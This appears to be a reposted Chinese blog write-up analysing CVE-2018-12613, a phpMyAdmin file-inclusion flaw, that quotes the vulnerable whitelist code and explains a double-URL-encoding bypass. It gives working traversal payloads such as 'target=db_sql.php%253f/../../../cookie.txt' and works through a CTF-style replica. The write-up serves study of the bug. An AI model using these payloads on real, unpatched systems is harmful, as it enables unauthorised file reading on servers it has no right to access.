CVE-2018-12613 的一些思考


復現 CVE-2018-12613 的一些思考,關於文件包含路徑的問題

漏洞

/index.php 第 55 行

$target_blacklist = array (
    'import.php', 'export.php'
);

if (! empty($_REQUEST['target'])
    && is_string($_REQUEST['target'])
    && ! preg_match('/^index/', $_REQUEST['target'])
    && ! in_array($_REQUEST['target'], $target_blacklist)
    && Core::checkPageValidity($_REQUEST['target'])
) {
    include $_REQUEST['target'];
    exit;
}

傳入參數 target 需要滿足

  1. 不以 index.php 開頭
  2. 不在 target_blacklist 中
  3. 通過 checkPageValidity() 函數檢驗

checkPageValidity() 函數

public static function checkPageValidity(&$page, array $whitelist = [])
    {
        if (empty($whitelist)) {
            $whitelist = self::$goto_whitelist;
        }
        if (! isset($page) || !is_string($page)) {
            return false;
        }

        if (in_array($page, $whitelist)) {
            return true;
        }

        $_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        $_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        return false;
    }

第一個返回 True 的地方,直接將 page 與 whitelist 比較,傳入的必須是白名單里的文件名,無法繞過

 if (in_array($page, $whitelist)) {
            return true;
 }

第二個返回 True 的地方,mb_strpos($x, $y) 函數查找 $y 在 $x 中首次出現的位置。mb_substr($str, $start, $length) 函數從 $str 中,截取從 $start 位置開始,長度為 $length 的字符串。

但是在這里如果直接構造 payload : ?target=db_sql.php?/../../../cookie.txt 並不能跨路徑包含,? 后面的字符串會被當做傳入 db_sql.php 的參數,這就要利用后面的 urldecode 了

 $_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
 if (in_array($_page, $whitelist)) {
            return true;
 }

第三個返回 True 的地方,可以利用雙重編碼繞過,將 ? 經過兩次編碼 %253f 就可以繞過白名單驗證。%253f 傳入時,首先會被自動解碼一次,變成 %3f,然后urldecode() 再解碼一次,就變成了 ?

此時的 payload : ?target=db_sql.php%253f/../../../cookie.txt

  $_page = urldecode($page);
  $_page = mb_substr(
           $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
  if (in_array($_page, $whitelist)) {
            return true;
        }

問題

  1. include 'db_sql.php%253f/../../../cookie.txt' 為什么只會包含 cookie.txt 而不會包含 db_sql.php

  2. 傳入 db_sql.php%253f/../../../cookie.txt 為什么會在 in_array($_page, $whitelist) 處返回 True

  3. 如圖,z.php 中 include 兩個 ../ 可以包含,y.php 中一個 include 也可以包含

  4. 在 php 的 include 中,include 'hint.php?/../cookie.txt'; 會報錯,include 'hint.php%3f/../cookie.txt'; 不會報錯,且可以成功包含

一些解釋

在 include 中,舉個例子,假設 x.php 代碼包含 include '1source.phps/../cookie.txt'; ,假設 1source.phps 不存在,那么這個文件包含等同於 : 在 1source.phps 文件夾目錄下的上一級中的 cookie.txt ,也就是和 x.php 在同一目錄下的 cookie.txt ,如果 1source.phps 存在,並且它是一個文件,那么肯定會報錯,如果它是一個文件夾,也會成功包含 cookie.txt 。如果變為 include '1source.phps/./cookie.txt'; ,道理和上面相同

重新思考

  • 代碼如下 :

     <?php
        highlight_file(__FILE__);
        class emmm
        {
            public static function checkFile(&$page)
            {
                $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
                if (! isset($page) || !is_string($page)) {
                    echo "you can't see it";
                    return false;
                }
                if (in_array($page, $whitelist)) {
                    return true;
                }
                $_page = mb_substr(
                    $page,
                    0,
                    mb_strpos($page . '?', '?')
                );
                if (in_array($_page, $whitelist)) {
                    return true;
                }
                $_page = urldecode($page);
                $_page = mb_substr(
                    $_page,
                    0,
                    mb_strpos($_page . '?', '?')
                );
    			
    			
                if (in_array($_page, $whitelist)) {
                    return true;
                }
                echo "you can't see it";
                return false;
            }
        }
    
        if (! empty($_REQUEST['file'])
            && is_string($_REQUEST['file'])
            && emmm::checkFile($_REQUEST['file'])
        ) {
            include $_REQUEST['file'];
            exit;
        } else {
            echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
        }  
    ?>
    
    • 傳入 file=hint.php ,在第一個 in_array 處會返回 true,然后直接包含 hint.php
    • 傳入 file=hint.php?/../cookie.txt ,在第二個 in_array 處會返回 true,第二個 in_array 中的 _pagehint.php ,然后包含 hint.php?/../cookie.txt ,但是這里的 ? 起到傳遞參數的作用而不是破壞路徑
    • 傳入 file=hint.php%253f/../cookie.txt ,在第三個 in_array 處會返回 true ,第三個 in_array 中的 _pagehint.php ,然后包含 hint.php%3f/../cookie.txt ,這里的 %3f? ,破壞了路徑,前面部分的路徑不存在,可以包含后面的文件


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM